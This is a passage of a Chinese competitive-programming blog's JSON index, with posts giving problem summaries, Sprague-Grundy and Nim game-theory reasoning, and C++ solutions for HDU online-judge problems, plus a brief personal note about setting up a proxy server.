17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=55; 32int n,m; 33int sg[N][N]; 34bool vis[N*N]; 35char maze[N][N]; 36int px[N],py[N]; 37void sg_init() 38{ 39 ms(sg,0); 40 for ( int i = 0 ; i \u003c N ; i++) //在边界的只能往一个方向生成炸弹，和移动了炸弹等价。 41 sg[i][0]=sg[0][i]=i; //还是0based好一点。。。这样（1,1）点的sg值自然就是0了。。。 42 for ( int i1 = 1 ; i1 \u003c N ; i1++) 43 for ( int i2 = 1 ; i2 \u003c N ; i2++) 44 { 45 ms(vis,false); 46 for ( int j1 = 0 ; j1 \u003c i1 ; j1++) 47 for ( int j2 = 0 ; j2 \u003c i2 ; j2++) 48 vis[sg[i1][j2]^sg[j1][i2]] = true; //注意sg函数的变化规则。。其实是把一次爆炸考虑成两个爆炸的叠加，所以异或了。 49 for ( int k = 0 ; ; k++) 50 if (!vis[k]) 51 { 52 sg[i1][i2] = k; 53 break; 54 } 55 } 56} 57int main() 58{ 59 #ifndef ONLINE_JUDGE 60 freopen(\"code/in.txt\",\"r\",st","date":"2016-07-23","externalUrl":null,"permalink":"/2016/07/hdu-2873/","section":"Posts","summary":"hdu 2873题目链接 题意：n*m个格子，有若干炸弹。对于在第一行或者第一列的炸弹，爆炸后会到那一行或者那一列的更前面（总的来说就是更靠近左上角）的位置。对于其他位置的炸弹，爆炸后会生成两个炸弹，分别到那一行的更前面或者那 一列的更前面。问先手是否有必赢策略。","tags":["sg函数","博弈论"],"title":"hdu 2873 Bomb Game（Sg函数）","type":"post"},{"categories":["ACM"],"content":"hdu2509题目链接 题意：？？？ 思路：同1907 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月23日 星期六 04时41分38秒 4File Name :code/hdu/2509.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int n; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 40 41 while (~scanf(\"%d\",\u0026n)) 42 { 43 int sum = 0; 44 int cnt = 0 ; 45 for ( int i = 1 ; i \u003c= n ; i++) 46 { 47 int x; 48 scanf(\"%d\",\u0026x); 49 sum^=x; 50 if (x\u003e1) cnt++; 51 } 52 if ((sum==0\u0026\u0026cnt==0)||(sum\u003e0\u0026\u0026cnt\u003e0)) 53 { 54 puts(\"Yes\"); 55 } 56 else 57 { 58 puts(\"No\"); 59 } 60 } 61 62 #ifndef ONLINE_JUDGE 63 fclose(stdin); 64 #endif 65 return 0; 66}","date":"2016-07-22","externalUrl":null,"permalink":"/2016/07/hdu-2509/","section":"Posts","summary":"hdu2509题目链接 题意：？？？ 思路：同1907 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月23日 星期六 04时41分38秒 4File Name :code/hdu/2509.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int n; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 40 41 while (~scanf(\"%d\",\u0026n)) 42 { 43 int sum = 0; 44 int cnt = 0 ; 45 for ( int i = 1 ; i \u003c= n ; i++) 46 { 47 int x; 48 scanf(\"%d\",\u0026x); 49 sum^=x; 50 if (x\u003e1) cnt++; 51 } 52 if ((sum==0\u0026\u0026cnt==0)||(sum\u003e0\u0026\u0026cnt\u003e0)) 53 { 54 puts(\"Yes\"); 55 } 56 else 57 { 58 puts(\"No\"); 59 } 60 } 61 62 #ifndef ONLINE_JUDGE 63 fclose(stdin); 64 #endif 65 return 0; 66}","tags":["anti-sg","sg函数","sj定理","博弈论"],"title":"hdu 2509 Be the Winner (anti-sg,sg函数，sj定理)","type":"post"},{"categories":["ACM"],"content":"hdu1907题目链接 题意：n堆石子，每次选一堆，最少拿一个，最多拿光那一堆，拿走最有一个的人输。 问是否有必胜策略。 思路：anti-nim问题。。。 要用到sj定理（是啥。。。?) 参考资料：参考博客 SJ定理 # **对于任意一个Anti-SG游戏，如果定义所有子游戏的SG值为0时游戏结束，先手必胜的条件： ** **1、游戏的SG值为0且所有子游戏SG值均不超过1。 ** 2、游戏的SG值不为0且至少一个子游戏SG值超过1。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月22日 星期五 23时09分42秒 4File Name :code/hdu/1907.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=5E3+7; 34int n; 35int sg[N]; 36bool vis[N]; 37 38void sg_init() 39{ 40 ms(sg,0); 41 42 for ( int i = 1 ; i \u003c N ; i++) 43 { 44 sg[i] = i; 45 } 46} 47int main() 48{ 49 #ifndef ONLINE_JUDGE 50 freopen(\"code/in.txt\",\"r\",stdin); 51 #endif 52 53 sg_init(); 54 55 int T; 56 cin\u003e\u003eT; 57 while (T--) 58 { 59 scanf(\"%d\",\u0026n); 60 int sum = 0; 61 int cnt = 0 ; 62 for ( int i = 1 ; i \u003c= n ; i++) 63 { 64 int x; 65 scanf(\"%d\",\u0026x); 66 sum^=sg[x]; 67 if (sg[x]\u003e1) cnt++; 68 } 69 if ((sum==0\u0026\u0026cnt==0)||(sum!=0\u0026\u0026cnt\u003e0)) 70 { 71 puts(\"John\"); 72 } 73 else 74 { 75 puts(\"Brother\"); 76 } 77 } 78 79 #ifndef ONLINE_JUDGE 80 fclose(stdin); 81 #endif 82 return 0; 83}","date":"2016-07-22","externalUrl":null,"permalink":"/2016/07/hdu-1907/","section":"Posts","summary":"hdu1907题目链接 题意：n堆石子，每次选一堆，最少拿一个，最多拿光那一堆，拿走最有一个的人输。 问是否有必胜策略。","tags":["anti-sg","sg函数","sj定理","博弈论"],"title":"BZOJ 1022 ||hdu 1907 John (sg函数，sj定理，anti-sg)","type":"post"},{"categories":["ACM"],"content":"hdu 1730 题意：n行格子，每行m个，每行有一黑一白两个棋子，给定初始位置，先手执黑棋，后手执白棋，每次可以在同一行内向左移动，不能超过边界，且不能越过对方的棋子，同一个格子只能有一个棋子。问先手是否必赢。 思路：可以看成n个独立的游戏的 叠加。。。所以最后异或和一下就好。。 我们来求sg函数。。。一开始的是想把点对hash成一个数。。。然后发现其实没必要。。。直接二维就好了。。 由于初始化的时候要考虑最大。。。所以sg函数的值会有一个便宜。。。和设定N有关。。减去偏移就好了。。。（我的代码里这个偏移是11026） 1A蛤蛤蛤 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月22日 星期五 21时01分19秒 4File Name :code/hdu/1730.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E2+7; 34bool vis[N*N]; 35int sg[N][N]; 36int n,m; 37 38void sg_init(int m) 39{ 40 ms(sg,0); 41 42 for ( int i1 = 1 ; i1 \u003c= m ; i1++) 43 for ( int i2 = 1 ; i2 \u003c= m ; i2++) 44 { 45 if (i1==i2) continue ; // 棋子不能在同一个位置？ 46 ms(vis,false); 47 48 int x = i1; 49 int y = i2; 50 51 if ( x\u003cy ) 52 { 53 for ( int j = x+1 ; j \u003c=y-1; j++) 54 vis[sg[x][j]] = true; 55 56 for ( int j = 1 ; j \u003c= x-1 ; j++) 57 vis[sg[j][y]] = true; 58 } 59 else 60 { 61 for ( int j = y + 1 ; j \u003c= x-1 ; j++) 62 vis[sg[j][y]] = true; 63 64 for ( int j =1 ; j \u003c= y-1 ; j++) 65 vis[sg[x][j]] = true; 66 } 67 68 for ( int j1 = 1 ; j1 \u003c= m ; j1++ ) 69 for ( int j2 = 1 ; j2 \u003c= m ; j2++) 70 if (!vis[j1*m+j2]) 71 { 72 //cout\u003c\u003c\"acccc\"\u003c\u003cendl; 73 sg[i1][i2] = j1*m+j2; ","date":"2016-07-22","externalUrl":null,"permalink":"/2016/07/hdu-1730/","section":"Posts","summary":"hdu 1730 题意：n行格子，每行m个，每行有一黑一白两个棋子，给定初始位置，先手执黑棋，后手执白棋，每次可以在同一行内向左移动，不能超过边界，且不能越过对方的棋子，同一个格子只能有一个棋子。问先手是否必赢。","tags":["sg函数","博弈论"],"title":"hdu 1730 Northcott Game (二维sg函数)","type":"post"},{"categories":["ACM"],"content":"hdu 1404题目链接 题意：一个数字串，每次可以选择一位减少任意大小到一个非负数，或者清除一个0以及该位右边的所有数字。问是否有必胜策略。。 思路：定义来搞。。所有能一步走到p点的都是n点，那么如果我们现在知道p点，就可以反过来推n点。。 看到一些人强行把变量名起成sg就说自己用了sg函数也是笑死我了呵呵呵呵 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月22日 星期五 19时11分16秒 4File Name :code/hdu/1404.cpp 5 ************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E6+7; 34int n; 35int sg[N]; 36bool vis[N]; 37char st[10]; 38 39 40void solve( int x) 41{ 42 43 int dig[10]; 44 int cnt = 0; 45 ms(dig,0); 46 int xx = x; 47 while (x) 48 { 49 dig[++cnt] = x % 10; 50 x/=10; 51 } 52 x = xx; 53 // cout\u003c\u003c\"cnt:\"\u003c\u003ccnt\u003c\u003cendl; 54 // for ( int i = 1 ; i \u003c= cnt ; i ++) cout\u003c\u003c\"i:\"\u003c\u003ci\u003c\u003c\" dig[i]:\"\u003c\u003cdig[i]\u003c\u003cendl; 55 int base = 1; 56 for ( int i = 1 ; i \u003c= cnt ; i++) 57 { 58 for ( int j = dig[i] + 1 ; j \u003c= 9 ; j++) 59 if (x+(j-dig[i])*base\u003cN)sg[x+(j-dig[i])*base] = 1; 60 base *=10; 61 } 62 63 if (cnt\u003c6) 64 { 65 base = 1; 66 for ( int i = cnt ; i \u003c 6 ; i++) 67 { 68 x*=10; 69 for ( int j = 0 ; j \u003c base ;j++) 70 sg[x+j] = 1; 71 72 base*=10; 73 } 74 } 75 76} 77void sg_init() 78{ 79 ms(sg,0); 80 // sg[0] = 1; 81 82 for ( int i = 1 ; i \u003c N ; i++) 83 if (!sg[i]) solve(i); //由必败点去更新必胜点 所以能一步走到p点的是n点，反过来说，p点往前走一步到达的点都是","date":"2016-07-22","externalUrl":null,"permalink":"/2016/07/hdu-1404/","section":"Posts","summary":"hdu 1404题目链接 题意：一个数字串，每次可以选择一位减少任意大小到一个非负数，或者清除一个0以及该位右边的所有数字。问是否有必胜策略。。","tags":["博弈论"],"title":"hdu 1404 Digital Deletions (博弈论，根据定义)","type":"post"},{"categories":["ACM"],"content":"终于忍不了因为没办法科学上网而不能做什么事的感觉了。。。 买了班瓦工 20刀/年。。。搭了ss。。然后全平台（ios/androd/fedora/win）的上网问题就全解决了。。。 网速似乎很快。。。youtube 1080p好无压力，虽然我不看2333","date":"2016-07-22","externalUrl":null,"permalink":"/2016/07/%e7%a7%91%e5%ad%a6%e4%b8%8a%e7%bd%91%e5%b0%8f%e8%ae%b0/","section":"Posts","summary":"终于忍不了因为没办法科学上网而不能做什么事的感觉了。。。 买了班瓦工 20刀/年。。。搭了ss。。然后全平台（ios/androd/fedora/win）的上网问题就全解决了。。。","tags":["算法竞赛"],"title":"科学上网小记","type":"post"},{"categories":["ACM"],"content":"hdu 1536题目链接 题意：还是若干堆石子，但是每次取的个数只能是集合S中有的数。。问是否必赢。。。 思路：sg函数。。。1A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月20日 星期三 23时32分48秒 4File Name :code/hdu/1536.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E4+7; 34int sg[N]; 35bool vis[N]; 36int ok[N]; 37int k,m; 38 39void sg_init() 40{ 41 ms(sg,0); 42 43 for ( int i = 1; i \u003c N ; i++) 44 { 45 ms(vis,false); 46 for ( int j = 1 ; j \u003c= k ; j++) 47 if (i-ok[j]\u003e=0) vis[sg[i-ok[j]]] = true; 48 49 for ( int j = 0 ; ; j++) 50 if (!vis[j]) 51 { 52 sg[i] = j; 53 break; 54 } 55 } 56} 57int main() 58{ 59 #ifndef ONLINE_JUDGE 60 freopen(\"code/in.txt\",\"r\",stdin); 61 #endif 62 63 while (~scanf(\"%d\",\u0026k)) 64 { 65 if (k==0) break; 66 ms(ok,0); 67 for ( int i = 1 ; i \u003c= k ; i++) scanf(\"%d\",\u0026ok[i]); 68 sg_init(); 69 scanf(\"%d\",\u0026m); 70// cout\u003c\u003c\"m:\"\u003c\u003cm\u003c\u003cendl; 71 while (m--) 72 { 73 int num; 74 scanf(\"%d\",\u0026num); 75 int sum = 0 ; 76 while (num--) 77 { 78 int x; 79 scanf(\"%d\",\u0026x); 80 sum^=sg[x]; 81 } 82 if (sum==0) printf(\"L\"); 83 else printf(\"W\"); 84 } 85 printf(\"\\n\"); 86 } 87 88 #ifndef ONLINE_JUDGE 89 fclose(stdin); 90 #endif 91 return 0; 92}","date":"2016-07-20","externalUrl":null,"permalink":"/2016/07/hdu-1536/","section":"Posts","summary":"hdu 1536题目链接 题意：还是若干堆石子，但是每次取的个数只能是集合S中有的数。。问是否必赢。。。","tags":["sg函数","博弈论"],"title":"hdu 1536 S-Nim (sg函数)","type":"post"},{"categories":["ACM"],"content":"hdu 1517 题目链接 题意：初始为1，每次可以乘2..9中的一个数，最先达到或者超过n的人胜利。问谁有必赢策略。。 思路：一开始想用sg函数。。然而n太大（4e10）。。。绝对会超时。。。 所以可以更朴素得，去画n点和p点。。。我们可以发现。。。连续一段的局势是相同的。。。所以不能，也没必要找到每一个点对应的局势。 [n,+oo]是p点，那么[n/9,n-1]是n点，那么[n/9/2,n/9)又是p点。。。以此类推。。 这道题同时也告诉我们。。。没有什么方法是万能的。。。就算sg函数很神。。也有不能用的时候。。。所以掌握最本质的东西还是很重要的。。。 转载一段题解： 这道题如果用sg函数，利用点的局势做一定会超时，因为相同的局势能够形成连续的段，所以我们可以将局势对应到段来达到一定的优化： 首先题目中能够了解到必败态[n,+oo)，那么可以由此推出必胜态 必胜态就是[n/9,n-1]，也就是有一定有策略达到必败态 另一个必败态就是[n/9/2,n/9)，之后就是一直循环这样的局势，找到了循环，我们可以固定一个点，固定区间的左端点比较易操作，也就是我们通过固定左端点找到１在必胜态区间，还是必败态区间． 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月20日 星期三 20时27分11秒 4File Name :code/hdu/1517.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33LL n; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 40 41 while (~scanf(\"%lld\",\u0026n)) 42 { 43 int cnt = 0 ; 44 while (n\u003e1) 45 { 46 if (cnt%2==0) n = ceil(n*1.0/9.0); 47 else n = ceil(n*1.0/2.0); 48 cnt++; 49 } 50 if (cnt%2==1) 51 puts(\"Stan wins.\"); 52 else puts(\"Ollie wins.\"); 53 } 54 55 #ifndef ONLINE_JUDGE 56 fclose(stdin); 57 #endif 58 return 0; 59}","date":"2016-07-20","externalUrl":null,"permalink":"/2016/07/hdu-1517/","section":"Posts","summary":"hdu 1517 题目链接 题意：初始为1，每次可以乘2..9中的一个数，最先达到或者超过n的人胜利。问谁有必赢策略。。","tags":["博弈论"],"title":"hdu 1517 A Multiplication Game (博弈论，将点的局势对应到段)","type":"post"},{"categories":["ACM"],"content":"hdu 1848题目链接 题意：三堆石头，每次任选一堆取，取的石子数目必须是斐波那契数列中的数(1,2,3,5,8….)问先手是否有必赢策略。 思路：sg函数即可。。。。这次sg函数的优越性终于体现出来了。。。其他方法估计很难写吧。。 以及，这道题不知道为什么让我联想到了生成函数。。。感觉生成函数和sg函数作为工具还是有不少共同点的。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月20日 星期三 20时08分38秒 4File Name :code/hdu/1848.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+7; 34bool vis[N]; 35int sg[N]; 36int f[N]; 37int a,b,c; 38void sg_init() 39{ 40 f[1] = 1; 41 f[2] = 2; 42 ms(sg,0); 43 for ( int i = 3 ; i\u003c=18 ; i++) 44 f[i] = f[i-1] + f[i-2]; 45 46// cout\u003c\u003c\"jhhhh;\"\u003c\u003cendl; 47 for ( int i = 1 ; i \u003c N ; i++) 48 { 49 ms(vis,false); 50 for ( int j = 1 ; f[j] \u003c= i ; j++) 51 vis[sg[i-f[j]]] = true; 52 53 for ( int j = 0 ; ; j++) 54 if (!vis[j]) 55 { 56 sg[i] = j; 57 break; 58 } 59 } 60} 61int main() 62{ 63 #ifndef ONLINE_JUDGE 64 freopen(\"code/in.txt\",\"r\",stdin); 65 #endif 66 sg_init(); 67 68 while (~scanf(\"%d%d%d\",\u0026a,\u0026b,\u0026c)) 69 { 70 if (a==0\u0026\u0026b==0\u0026\u0026c==0) break; 71 int sum = sg[a]^sg[b]^sg[c]; 72 if (sum==0) 73 { 74 puts(\"Nacci\"); 75 } 76 else 77 { 78 puts(\"Fibo\"); 79 } 80 } 81 82 83 #ifndef ONLINE_JUDGE 84 fclose(stdin); 85 #endif 86 return 0; 87}","date":"2016-07-20","externalUrl":null,"permalink":"/2016/07/hdu-1848/","section":"Posts","summary":"hdu 1848题目链接 题意：三堆石头，每次任选一堆取，取的石子数目必须是斐波那契数列中的数(1,2,3,5,8….)问先手是否有必赢策略。","tags":["sg函数","博弈论"],"title":"hdu 1848 Fibonacci again and again (sg函数)","type":"post"},{"categories":["ACM"],"content":"hdu1850题目链接 题意：n堆石子。。每堆可以取任意多个。。。先取完的赢。。问先手能否赢。。能赢的话第一步有几种取法。。 思路：sg函数。。对于方案数，可以用nim游戏的结论。 以及。。sg函数。。如果走的步数是任意的。。也就是没有限制。。。那么sg[i] = i…此时也就退化成了一般的nim游戏。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月20日 星期三 19时47分48秒 4File Name :code/hdu/1850.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=105; 32const int M=1E6+7; 33 34int n; 35int sg[M]; 36int a[N]; 37void sg_init() 38{ 39 //这个可以记成结论23333 40 for ( int i = 1 ; i \u003c M ; i ++) sg[i] = i ; 41} 42int main() 43{ 44 #ifndef ONLINE_JUDGE 45 freopen(\"code/in.txt\",\"r\",stdin); 46 #endif 47 sg_init(); 48 while (~scanf(\"%d\",\u0026n)) 49 { 50 if (n==0) break; 51 int sum = 0 ; 52 for ( int i = 1 ; i \u003c= n ; i++) 53 { 54 int x; 55 scanf(\"%d\",\u0026x); 56 a[i] = x; 57 sum^=sg[x]; 58 } 59 if (sum==0) 60 { 61 puts(\"0\"); 62 continue; 63 } 64 int ans = 0 ; 65 for ( int i = 1 ; i \u003c= n ; i++) 66 if ((a[i]^sum)\u003ca[i]) ans++; 67 printf(\"%d\\n\",ans); 68 } 69 #ifndef ONLINE_JUDGE 70 fclose(stdin); 71 #endif 72 return 0; 73}","date":"2016-07-20","externalUrl":null,"permalink":"/2016/07/hdu-1850/","section":"Posts","summary":"hdu1850题目链接 题意：n堆石子。。每堆可以取任意多个。。。先取完的赢。。问先手能否赢。。能赢的话第一步有几种取法。。 思路：sg函数。。对于方案数，可以用nim游戏的结论。","tags":["nim游戏","sg函数","博弈论"],"title":"hdu 1850 Being a Good Boy in Spring Festival (nim游戏问必胜方案数，sg函数)","type":"post"},{"categories":["ACM"],"content":"hdu1847题目链接 题意：n个石子，每次只能取2的幂次个。。。问先手是否有必赢策略。。。 思路：画n点p点。。。发现n为３的倍数的时候先手必输。。。否则先手必赢。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月20日 星期三 18时54分46秒 4File Name :code/hdu/1847.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int n; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 40 while (scanf(\"%d\",\u0026n)!=EOF) 41 { 42 if (n%3==0) 43 { 44 puts(\"Cici\"); 45 } 46 else 47 { 48 puts(\"Kiki\"); 49 } 50 } 51 52 #ifndef ONLINE_JUDGE 53 fclose(stdin); 54 #endif 55 return 0; 56} 也可以利用sg函数求解。。。 从这里我们可以看出，sg函数类似于母函数，本身并不是一类问题，而是一种求解问题的工具。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月20日 星期三 18时54分46秒 4File Name :code/hdu/1847.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long","date":"2016-07-20","externalUrl":null,"permalink":"/2016/07/hdu-1847/","section":"Posts","summary":"hdu1847题目链接 题意：n个石子，每次只能取2的幂次个。。。问先手是否有必赢策略。。。 思路：画n点p点。。。发现n为３的倍数的时候先手必输。。。否则先手必赢。。。","tags":["sg函数","博弈论","巴什博奕"],"title":"hdu 1847 Good Luck in CET-4 Everybody! (巴什博奕,找规律｜｜sg函数)","type":"post"},{"categories":["ACM"],"content":"参考资料　（后面的证明写错了，差评，不要看，看图就好了） 1 1. 题目1：今有若干堆火柴，两人依次从中拿取，规定每次只能从一堆中取若干根， 可将一堆全取走，但不可不取，最后取完者为胜，求必胜的方法。 题目2：今有若干堆火柴，两人依次从中拿取，规定每次只能从一堆中取若干根， 可将一堆全取走，但不可不取，最后取完者为负，求必胜的方法。 嘿嘿，这个游戏我早就见识过了。小时候用珠算玩这个游戏：第一档拨一个，第二档拨两个，依次直到第五档拨五个。然后两个人就轮流再把棋子拨下来，谁要是最后一个拨谁就赢。有一次暑假看见两个小孩子在玩这个游戏，我就在想有没有一个定论呢。下面就来试着证明一下吧 先解决第一个问题吧。 定义：若所有火柴数异或为0，则该状态被称为利他态，用字母T表示；否则， 为利己态，用S表示。 [定理1]：对于任何一个S态，总能从一堆火柴中取出若干个使之成为T态。 证明： 若有n堆火柴，每堆火柴有A(i)根火柴数，那么既然现在处于S态， c = A(1) xor A(2) xor 